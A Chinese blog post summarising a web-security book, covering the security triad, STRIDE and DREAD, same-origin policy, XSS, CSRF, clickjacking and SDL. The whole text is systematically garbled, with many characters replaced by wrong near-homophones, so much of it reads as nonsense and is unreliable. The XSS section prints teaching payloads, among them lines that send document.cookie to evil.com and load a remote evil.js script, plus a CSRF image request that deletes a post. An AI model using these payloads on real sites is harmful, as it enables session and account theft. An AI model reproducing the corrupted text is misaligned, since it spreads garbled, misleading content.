关于前端:白帽子讲Web安全阅读摘要

平安是一门奢侈的学识，也是一种均衡的艺术。

如同开发者会遇到的挑战一样，有很多问题，不放到一个海量用户的环境下，是难以裸露进去的。因为质变引起量变，所以治理 10 台服务器，和治理 1 万台服务器的办法必定会有所区别；同样的，评估 10 名工程师的代码平安，和评估 1000 名工程师的代码平安，办法必定也要有所不同。

平安工程师的外围竞争力不在于他能领有多少个 0day，把握多少种平安技术，而是在于他对平安了解的深度，以及由此引申的对待平安问题的角度和高度。

互联网公司的最大特色和法宝。平安是一个动静的过程，因为敌方攻打伎俩在变，攻打办法在变，破绽一直呈现; 我方业务在变，软件在变，人员在变，妄图通过一个零碎、一个计划解决所有的问题是不事实的，也是不可能的，平安须要一直地经营、继续地优化。

最大的破绽是人。写得再好的程序，在有人参加的状况下，就可能会呈现各种各样不可预知的状况，比方管理员的明码有可能泄露，程序员有可能关掉了平安的配置参数，等等。平安问题往往产生在一些意想不到的中央。

1. 平安世界观

平安三要素 是平安的根本组成元素，别离是机密性(Confdentiality)、完整性 (Integrity)、可用性(Availability)。

1. 机密性要求爱护数据内容不能泄露，加密是实现机密性要求的常见伎俩。
2. 完整性则要求爱护数据内容是残缺、没有被篡改的。常见的保障一致性的技术手段是数字签名。
3. 可用性要求爱护资源是“随需而得”。

平安评估

平安评估 能够简略地分为 4 个阶段：资产等级划分、威逼剖析、危险剖析、确认解决方案。

资产等级划分 是所有工作的根底，帮忙咱们明确指标是什么，要爱护什么。

平安的问题实质在于信赖问题。被划分进去的具备不同信赖级别的区域，咱们称为信赖域，划分两个不同信赖域之间的边界，咱们称为信赖边界。

数据从高等级的信赖域流向低等级的信赖域，是不须要通过安全检查的; 数据从低等级的信赖域流向高等级的信赖域，则须要通过信赖边界的安全检查。

在理论中会遇到比这简单许多的状况, 比方同样是两个利用，相互之间存在数据交互业务，那么就要思考这里的数据交互对于各自利用来说是否是可信的，是否应该在两个利用之间划一个边界，而后对流经边界的数据做安全检查。

威逼剖析 就是把所有的威逼都找进去。怎么找? 个别是采纳头脑风暴法。当然，也有一些比拟迷信的办法，比方应用一个模型，帮忙咱们去想，在哪些方面有可能会存在威逼，这个过程可能防止脱漏，这就是威逼建模。

在本书中介绍一种威逼建模的办法，它最早是由微软提出的，叫做 STRIDE 模型。咱们在剖析威逼时，能够从以下 6 个方面去思考。

危险剖析，Risk = Probability Damage Potential，危险 = 可能性 损失水平

如何更迷信地掂量危险呢? 这里再介绍一个 DREAD 模型，它也是由微软提出，领导咱们应该从哪些方面去判断一个威逼的危险水平。

平安解决方案 是平安评估的产出物。解决方案肯定要有针对性，这种针对性是由资产等级划分、威逼剖析、危险剖析等阶段的后果给出的。

没有不平安的业务，只有不平安的实现形式。

那么什么是一个好的平安计划呢：

1. 产品需要，尤其是商业需要，是用户真正想要的货色，是业务的意义所在，在设计平安计划时应该尽可能地不要扭转商业需要的初衷。
2. 平安计划必须可能无效抵制威逼，但同时不能过多干预失常的业务流程，在性能上也不能拖后腿。
3. 好的平安计划对用户应该是通明的，尽可能地不要扭转用户的应用习惯。
4. 好的平安产品或模块除了要兼顾用户体验外，还要易于继续改良。一个好的平安模块，同时也应该是一个优良的程序，从设计上也须要做到高聚合、低耦合、易于扩大。

白帽子兵法

1. 黑名单 & 白名单：设置信赖和不信赖的起源。
2. 最小权限准则：只授予主体必要的权限，而不要适度受权，这样能无效地缩小零碎、网络、利用、数据库出错的机会。
3. 纵深进攻准则：蕴含两层含意：首先，要在各个不同层面、不同方面施行平安计划，避免出现疏漏，不同平安计划之间须要相互配合，形成一个整体。其次，要在正确的中央做正确的事件，即：在解决基本问题的中央施行针对性的平安计划。
4. 数据与代码拆散准则：宽泛实用于各种因为“注入”而引发平安问题的场景。混同了数据和代码的边界，导致平安问题的产生。
5. 不可预测性准则：从克服攻打办法的角度，让破绽的攻打办法生效。使得攻击者无奈容易的猜到期望值，从而进步攻打门槛。

2. 浏览器平安

同源策略

同源策略是浏览器平安的根底，它限度了来自不同源的“document”或脚本，对以后“document”读取或设置某些属性。

为了不让浏览器的页面行为产生凌乱，浏览器提出了“Origin”(源)这一概念，来自不同源的对象无奈相互烦扰。

在浏览器中，<script>、<img>、<iframe>、<link> 等标签都能够不受同源策略的限度跨域加载资源，这些带 src 属性的标签每次加载时，实际上是由浏览器发动了一次 GET 申请。不同于 XHR 的是，通过标签的 src 属性加载的资源，浏览器限度了 JS 的权限，使其不能读、写返回的内容。

对于 XHR 来说，它能够拜访来自同源对象的内容。但 XHR 受到同源策略的束缚，不能跨域拜访资源。如果 XHR 可能跨域拜访资源，则可能会导致一些敏感数据泄露，比方 CSRF 的 token，从而导致产生平安问题。

XHR 跨域拜访须要通过指标域返回的 HTTP 头来受权是否容许跨域拜访，因为 HTTP 头对于浏览器中的 JS 来说个别是无法控制的，所以认为这个计划能够施行。

浏览器沙箱

Chrome 是第一个采取多过程架构的浏览器，Chrome 的次要过程分为：浏览器过程、渲染过程、插件过程、扩大过程。插件过程如 flash、java、pdf 等与浏览器过程严格隔离，因而不会相互影响。

浏览器的多过程架构将浏览器的各个功能模块离开，各个浏览器实例离开，当一个过程解体时，也不会影响到其余的过程。

渲染引擎由 Sandbox 隔离，网页代码要与浏览器内核过程通信、与操作系统通信都须要通过 IPCchannel，在其中会进行一些安全检查。

Sandbox 设计是为了让不可信赖的代码运行在肯定的环境中，限度不可信赖的代码拜访隔离区之外的资源。Sandbox 须要思考用户代码针对本地文件系统、内存、数据库、网络的可能申请，能够采纳默认回绝的策略，如果肯定要逾越 Sandbox 边界产生数据交换，则只能通过指定的数据通道，比方通过封装的 API 来实现，在这些 API 中会严格查看申请的合法性。

Sandbox 能够让不受信赖的网页代码、JS 代码运行在一个受到限制的环境中，从而爱护本地桌面零碎的平安。

歹意网址拦挡

歹意网址拦挡是浏览器周期性地从服务器端获取一份最新的歹意网址黑名单，如果用户上网时拜访的网址存在于此黑名单中，浏览器就会弹出一个正告页面。

3. 跨站脚本攻打 XSS

跨站脚本攻打（Cross Site Script，XSS）指通过「HTML 注入」篡改了网页，插入了歹意的脚本，从而在用户浏览网页时，管制用户浏览器的一种攻打。

XSS 的实质是一种 HTML 注入，用户的数据被当成了 HTML 代码一部分来执行，从而混同了本来的语义，产生了新的语义。

XSS 的分类

针对各种不同场景产生的 XSS，须要辨别情景看待。XSS 依据成果不同分为：

1. 反射型 XSS
   反射型 XSS 只是简略地把用户输出的数据「反射」给浏览器。黑客往往须要诱使用户点击一个歹意链接，能力攻打胜利。
2. 存储型 XSS
   存储型 XSS 会把用户输出的数据「存储」在服务器端。比方写一篇蕴含有歹意 JS 代码的文章，所有拜访该文章的用户，都会在他们的浏览器中执行这段歹意的代码。这样的破绽极其荫蔽，且潜伏在用户的失常业务中，危险颇高。
3. DOM Based XSS
   通过批改页面的 DOM 节点造成的 XSS。

存储型 XSS 的危险会高于反射型 XSS，因为存储型 XSS 会保留在服务器上，跨页面存在。

反射型 XSS 的例子：一个页面把用户输出的参数间接输入到页面上，那么用户就可能提交一段 HTML 代码，这个代码将间接在页面执行。咱们能够利用这个破绽盗取拜访该页面的任何人的 Cookie，甚至是管理员的，比方输出 <img src="http://evil.com/log?"+escape(document.cookie) />。

存储型 XSS 的例子：一个带留言板的网页，如果没有对用户输出进行过滤和转译的话，攻击者在留言板留言 <script>alert('XSS')</script> 当前其余用户在进入这个页面时就会获取并执行这个脚本。

DOM Based XSS 的例子：

<script>
function test(){var str = document.getElementById("text").value;
  document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

用户能够输出这样一个字段 ' onclick=alert(/xss/) //，这个字段首先用一个单引号闭合掉 href 的第一个单引号，而后插入一个 onclick 事件，最初再用正文符 // 正文掉第二个单引号。点击这个新生成的链接，脚本将被执行。

点击这里查看成果。

也能够间接闭合掉 a 标签，插入一个新的 Script 标签 ><img src=# onerror=alert(/xss2/) />< 这样也能够执行脚本。

XSS 攻打

在后面的 XSS 攻打见效之后，能够做的事就多了

1. Cookie 窃取 ：Cookie 中个别加密保留了以后用户的登录凭证。获取 Cookie 后，攻击者能够不通过明码，间接登录进用户的账户。
   能够加载一个近程脚本 <script src=http://evil.com/evil.js/>，在这个脚本中发送 document.cookie 给近程，比方插入一个图片，图片的 src 是 "http://evil.com/log?"+escape(document.cookie)
2. 伪造 Get/Post 申请：能够通过模仿发送 Get/Post 申请来对页面进行操作。
   Get 形式比较简单，应用插入图片的形式发动申请。
   Post 申请能够采纳构建表单，而后主动提交表单 form.submit()，也能够间接通过 XHR 发送。
3. XSS 钓鱼 ：攻击者能够将 XSS 与钓鱼相结合来窃取明码。
   比方用 JS 在当前页面上画出一个伪造的登录框，当用户在登录框中输出用户名与明码后，其明码将被发送至黑客的服务器上。

4. 获取用户信息：

   1. 通过获取 navigator.userAgent 或者浏览器版本之间独特的差别，来获取浏览器版本信息，能够施行精准的浏览器内存攻打。
   2. 晓得了用户应用的浏览器、操作系统后，通过判断用户装置的软件，抉择对应的浏览器破绽，达到植入木马的目标。
   3. 通过 CSS 款式的 visited 属性，能够判断用户是否已经拜访某个链接。
   4. 借助第三方软件或者浏览器控件，能够获取到本地 IP 地址。

<base> 标签的应用

<base> 标签是文档根 URL 元素，能够呈现在页面的任何中央，并作用于位于该标签之后的所有标签。

比方页面关上一张不存在的图片 <img src="/images/logo.png"/> 这个图片会加载失败，如果在这个 img 标签前加上 <base> 标签 <base href="http://www.google.com" /> 那么这个图片将从这个指定的 URL 加载，即 http://www.google.com/images/logo.png 这个地址加载资源。

攻击者如果在页面中插入 <base> 标签，就能够通过在近程服务器上伪造图片、链接或脚本，劫持以后页面中的所有应用相对路径，包含所有应用 src 和 href 属性索引资源的标签。

window.name 的应用

window.name 对象是一个很神奇的货色，对以后窗口的 window.name 对象赋值，没有特殊字符的限度。因为 window 对象是浏览器的窗体，而并非 document 对象，因而很多时候 window 对象不受同源策略的限度，因而能够实现跨域、跨页面传递数据。

比方在一个被 XSS 攻打的页面中，获取到信息赋给 window.name，而后立刻跳转到另一个网站。

window.name = "test~ User Cookie is:" + document.cookie;
alert(document.domain + " " + window.name);
window.location = "http://www.google.com/";

在另一个网站中即可获取到上一页面的信息

console.log(window.name);
// test~ User Cookie is: ...

XSS 进攻

1. Cookie 的 HttpOnly 标识

如果给 Cookie 设置了 HttpOnly 那么通过 JS 就无奈读取到 Cookie。HttpOnly 能够有选择性地加在任何一个 Cookie 值上，能够仅把 HttpOnly 标记给用于认证的要害 Cookie。

HttpOnly 解决的是 XSS 后的 Cookie 劫持攻打。

2. 输出查看

输出查看个别是检查用户输出的数据中是否蕴含一些特殊字符，如 <、>、'、" 等。如果发现存在特殊字符，则将这些字符过滤或者编码。

这种做法相似于白名单，能够让一些基于特殊字符的攻打生效。

输出查看的逻辑，必须放在服务器端代码中实现。如果只是在客户端应用 JS 进行输出查看，是很容易被攻击者绕过的，广泛做法是同时在客户端 JS 代码和服务器端代码中实现雷同的输出查看。客户端输出查看，能够阻挡大部分误操作的失常用户，从而节约服务器资源。

比拟智能的输出查看，还会匹配 XSS 的特色。比方查找用户数据中是否蕴含了 <script>、javascript 等敏感字符。

3. 输入查看

除了富文本的输入外，在变量输入到 HTML 页面时，能够应用编码或本义的形式来进攻 XSS 攻打。编码方式 HtmlEncode 要求将一些罕用的特殊字符进行转译，比方 & 转化为 &、< 转化为 <、/ 转化为 / 等。

4. CSS Expression

在 IE5-8 的时代，有过一个 CSS 表达式（CSS Expression）解决方案，能够在 CSS 外面写 JS，给 CSS 属性赋一个表达式，过后用来做很多 hack 计划，然而作为一个 Web 时代长期的解决方案也有它的弊病

1. 不合乎 Web 规范，CSS 表达式这种在款式中插入 JS 代码的形式，有悖于 Web 规范的构造、体现、行为相拆散的理念。
2. 效率低下，一个 CSS 表达式会重复执行，这会大大耗费计算机的硬件资源，极其状况下会导致浏览器的解体。
3. 带来安全隐患，CSS 表达式裸露了一个脚本执行的上下文，可能带来脚本注入的隐患。比方以前就能在 background 外面执行 JS 代码，进而为 XSS 提供了路径。
   比方：background: url(javascript:alert("XSS!"));

最近的 CSS Houdini 跟这个 CSS Expression 有点相似，在浏览器正式上线后能够关注一下。

4. 跨站申请伪造 CSRF

跨站点申请伪造（Cross Site Request Forgery，CSRF）

攻击者首先在一个网页中增加一个图片 <img src="http://blogs.com/blog/remove?id=123">，这个 src 是指向了删除一个博客网站中某博客的链接，用户拜访这个网页，这个图片加载时博客网站的这个博客就会被删除。

CSRF 进攻

1. 验证码

CSRF 攻打的过程，往往是在用户不知情的状况下结构了网络申请。而验证码强制用户必须与利用进行交互，能力实现最终申请。因而在通常状况下，验证码可能很好地遏制 CSRF 攻打。

但很多时候，出于用户体验思考，网站不能给所有的操作都加上验证码。因而，验证码只能作为进攻 CSRF 的一种辅助伎俩，而不能作为最次要的解决方案。

2. 查看 HTTP 申请的 Referer 头

查看 Referer 头常常被用来作为图片防盗链的伎俩，也能够被用来查看申请是否来自非法的源。

如果用户申请的 Referer 值不是这个页面，甚至不是发帖网站的域，则极有可能是 CSRF 攻打。

但并不是任何时候服务器都能获取到 Referer 值，以下状况就可能无奈获取

1. 从 HTTPS 跳转 HTTP 时；
2. 用户在地址栏输出网址；
3. 选中浏览器书签；
4. 在 <a>、<area> 或者 <link> 元素上将 rel 属性设置为 noreferrer 也不会发送 Referer，<a href="http://example.com" rel="noreferrer">，这是 HTML5 为了爱护敏感信息和隐衷设置的，因为通过 Referer 可能会泄露一些敏感信息。
5. 退出页面重定向形式，谷歌和 Facebook 都在应用这种办法，链接的时候，不间接跳转，而是通过一个重定向网址来跳转。
   知乎也是这样做的，知乎中的文章 a 标签链接个别是这样的 https://link.zhihu.com/?target=https%3A//tieba.baidu.com/p/3746839672
   先跳转到 https://link.zhihu.com/，而后再跳转到指标网址。这时，Referer 字段就不会蕴含原始网址，关上 Devtools 能够看到的 Doc 申请不蕴含 Referer 字段。
   如果网页中有个 href 间接是指标网址的链接 <a href="https://tieba.baidu.com/p/3746839672"> 文章 </a>，此时点击跳转，申请的 Doc 会蕴含 Referer 字段。

3. 减少 Token

CSRF 可能攻打胜利，实质起因是重要操作的所有参数都是能够被攻击者猜测到的。如果减少一个随机的不可预测的参数，那么将大大增加被 CSRF 的难度，这就是引入 Token 的起因。

在应用 Token 时，应该尽量把 Token 放在表单中。把敏感操作由 GET 改为 POST，以 form 表单或 AJAX 的模式提交，以防止 Token 泄露。

进攻 CSRF 的 Token，是依据不可预测性准则设计的计划，所以 Token 的生成肯定要足够随机，须要应用平安的随机数生成器生成 Token。用户提交表单后，比照用户提交的 Token 与以后用户 Session 中的 Token 是否统一。

5. 点击劫持

CSRF 能够在用户人不知; 鬼不觉中实现攻打。但在须要与用户进行交互的场景中，攻打操作是无奈进行的，比方如果须要验证码的话。然而，点击劫持使用户在人不知; 鬼不觉中实现交互过程。

点击劫持是一种视觉上的坑骗伎俩，通过用一个覆盖物遮挡住用户想要点击的中央，诱使用户进行点击。点击劫持攻打与 CSRF 相似，都是在用户不知情的状况下诱使用户实现一些动作。

CSRF 攻打的过程中，如果呈现用户交互的页面，则攻打可能会无奈顺利完成。但点击劫持没有这个顾虑，它利用的就是与用户产生交互的页面。

1. 笼罩劫持：应用 iframe 或图片的形式笼罩用户要点的地位；
2. 拖拽劫持：诱使用户从暗藏的不可见元素中拖拽出攻击者心愿失去的数据，放到攻击者能管制的中央，从而窃取数据。
3. 触屏劫持：劫持挪动端用户的触屏操作，很多手机浏览器为了节约空间，会暗藏地址栏，有些攻打伎俩在手机浏览器上画一个假装的地址栏，从而获取用户输出，进行后续的坑骗。

点击劫持的进攻伎俩：

1. 禁止 ifame 嵌套：能够通过判断以后网页的 location 是否是最顶级，来排除 iframe 的嵌套

   if (top.location !== location) {top.location = self.location}

但这种方法能够通过嵌套多个 iframe 的形式绕过，或者通过限度 iframe 页面中 JS 脚本执行的形式来绕过。

1. 应用 X-Frame-Options 头：应用 HTTP 的 X-Frame-Options 头能够管制浏览器加载 frame 页面的行为，有三个值能够设置

   1. deny，以后页面也不容许在 frame 中展现，即便在雷同域名的页面中嵌套也不容许；
   2. sameorigin，该页面能够在雷同域名页面的 frame 中展现；
   3. allow-from uri，该页面能够在指定起源的 frame 中展现。

比方咱们看到 SegmentFault 的页面就应用了这个 HTTP 头来作为点击劫持的进攻伎俩

6. HTML5 平安

HTML5 中为 iframe 提供了一个属性 sandbox，这个属性能够通过参数来对 iframe 中的内容启用进行更进去的管制，比方是否容许提交表单、是否容许执行脚本、是否容许拜访顶层窗口、是否容许同源拜访、是否容许弹框等等，从而极大加强利用应用 iframe 的安全性。

postMessage 容许浏览器的 window（包含窗口、弹出窗口、iframes 等）对象往其余窗口发送文本音讯，实现跨窗口的消息传递，这个性能是不受同源策略限度的。应用时有两个平安问题须要留神：

1. 可在接管窗口验证 Domain、URL、origin、source，以避免来自非法页面的音讯。这实际上是在代码中实现一次同源策略的验证过程。
2. 承受的音讯不应信赖，要留神进行安全检查，不能间接写入 innerHTML 或者 Script 中，以避免 DOM based XSS 的产生。

7. 互联网业务平安

当一个产品性能有缺点、用户体验极差，甚至是终日宕机的时候，是谈不上安全性的，因为产品自身可能都曾经无奈存在上来了。然而当一个产品其余方面都做得很好的时候，平安有可能会成为产品的一种外围竞争力，成为拉开产品与竞争对手之间差距的秘密武器。只有平安也做得好的产品，能力成为真正的好产品。

搜寻后果是否平安，对网民来说是很重要的，因为搜寻引是互联网最重要的一个门户。已经产生的一些欺诈案件中，钓鱼网站公然呈现在搜寻后果中，导致很多用户上当受骗。

平安是产品的一种个性，如果咱们的产品可能耳濡目染地造就用户的平安习惯，将用户往更平安的行为上疏导，那么这样的平安就是最现实的产品安全。

一个优良的平安计划，应该具备两个条件：

1. 良好的用户体验；
2. 优良的性能。

能够使平安用的解决方案：

1. 双重认证计划 ：比方网银的 U 盾、银行的动静明码、游戏的令牌、客户端证书、手机短信验证码等，在用户名和明码之外又做了一次验证。
   但双重验证相应的也会升高用户体验，因为用户应用起来更麻烦了，所以要谨慎应用，只应用在平安要求十分高的场景，比方领取。
2. 减少明码复杂度：比方要求明码必须要有 16 位，须要为数字、大小写字母、特殊字符等不同组合，以减少暴力破解的难度，给服务器设置登录明码时通常会有这样的要求。
3. 明码暴力破解检测 ：暴力破解个别具备段时间、高频率的特色，能够检査一个账户在一段时间内的登录失败次数，或某一个 IP 地址在一段时间内的登录行为次数。这些行为都是比拟显著的暴力破解特色。暴力破解往往还借助了脚本或者扫描器，那么在检测到此类行为后，减少验证码环节，能够无效地缩小暴力破解攻打危险。
   攻击者为了规避平安检测，经常会应用来自傀儡机或代理服务器的多个 IP 来进行登录尝试，但如果攻打达到了肯定规模，那么最终单个 IP 还是会发动屡次网络申请，当发现某 IP 存在歹意行为后，对 IP 地址的行为历史记录进行追溯。
4. 避免明码蕴含个人信息：如果发现用户应用了生日、用户名、电话号码、邮件地址之类的个人信息作为明码，应立即进行提醒。

业务逻辑平安

1. 例子 1：两套零碎 A 和 B 的账户明码是一一对应的绑定关系，A 零碎明码批改后应该同步到 B 零碎，但这时如果零碎明码被盗，用户批改零碎 A 的明码之后，如果明码没有同步到 B 零碎或者同步失败，那么攻击者依然能够通过登录 B 零碎来把 A 零碎登录状态挤掉，或者把明码又给改掉。
2. 例子 2：某零碎设置了账户登录失败 5 次就解冻账户一小时，那么攻击者就能够通过一直尝试登录账户，从而使账户始终处于解冻状态。在竞拍场景中，攻击者能够通过攻打其余所有用户的账户以很低的价格竞拍到商品。
3. 例子 3：批改明码流程是一个高风险流程，比方用户通过 Cookie 劫持获取了用户登录状态，此时攻击者是不晓得用户的明码的，如果批改明码不须要提供原明码，那么攻击者盗取了 Cookie 获取登录状态之后就能够批改明码了。所以当初在敏感操作前须要再次验证用户的身份，比方苹果的 MacOS、iOS 在敏感操作时，就须要用户输出 iCloud 明码或者验证指纹。
   相应的，明码取回流程也是一个高风险高难度的平安问题。

4. 例子 4：回归到 QQ 被盗的状况，用户账户被盗可能有多种可能

   1. 网站登录过程非 HTTPS，明码在通信中被嗅探；
   2. 用户电脑中了木马，明码被键盘记录软件获取；
   3. 用户被钓鱼网站所蛊惑，明码被钓鱼网站所骗取；
   4. 网站某登录入口能够被暴力破解；
   5. 网站明码取回流程存在逻辑破绽；
   6. 网站存在 XSS 等客户端脚本破绽，用户账户被间接窃取；
   7. 网站存在 SQL 注入等服务器端破绽，网站被黑客入侵导致用户账户信息泄露。

   用户登录的明码也是高度类似的，比方 123456、666666、qwerty、abc123 等，只有挨个尝试这些简略的明码组合就能暴力破解很多用户的明码。

   另外，过往网站的数据库被盗导致的用户数据散失，如果数据库中的明码是明文保留，或者是没有加盐的哈希值，可能导致攻击者依据这些明码来尝试同一个用户的不同网站，因为大部分用户都习惯于应用同一个明码登录不同网站。

5. 例子 5：钓鱼网站，比方做一个假的淘宝网，就可能诱导用户进行领取，或者盗取用户真正的淘宝明码，或者盗取网银明码。

8. 平安开发流程 SDL

平安开发生命周期 SDL（Security Development Lifecycle），由微软最早提出，是帮忙解决软件平安问题的方法，在开发的所有阶段都引入了平安和隐衷的准则。

SDL 的大抵步骤如下:

1. 培训：外围平安培训
2. 要求：确定平安要求，创立品质门 / 谬误标尺，平安和隐衷危险评估
3. 设计：确定设计要求，分析攻击面，威逼建模
4. 施行：应用批准的工具，弃用不平安的函数，动态剖析
5. 验证：动态分析，含糊测试，攻击面评析
6. 公布：事件响应打算，最终平安评析公布存档
7. 响应：执行事件响应打算

SDL 实战经验：

1. 与项目经理进行充沛沟通，排出足够的工夫；
2. 标准公司的立项流程，确保所有我的项目都能告诉到平安团队，防止脱漏；
3. 建立安全部门的权威，我的项目必须由安全部门审核实现后能力公布；
4. 将技术计划写入开发、测试的工作手册中；
5. 给工程师培训平安计划；
6. 记录所有的平安 bug，激励程序员编写平安的代码；

网上的帖子大多深浅不一，甚至有些前后矛盾，在下的文章都是学习过程中的总结，如果发现错误，欢送留言指出，如果本文帮忙到了你，别忘了点赞反对一下哦，你的点赞是我更新的最大能源！（珍藏不点赞，都是耍流氓 🤣）~

参考文档：

1. 白帽子讲 Web 平安

PS：本文收录在在下的博客 Github – SHERlocked93/blog 系列文章中，欢送大家关注我的公众号 前端下午茶，间接搜寻即可增加或者点这里增加，继续为大家推送前端以及前端周边相干优质技术文，共同进步，一起加油~

另外能够退出「前端下午茶交换群」微信群，微信搜寻 sherlocked_93 加我好友，备注 加群，我拉你入群～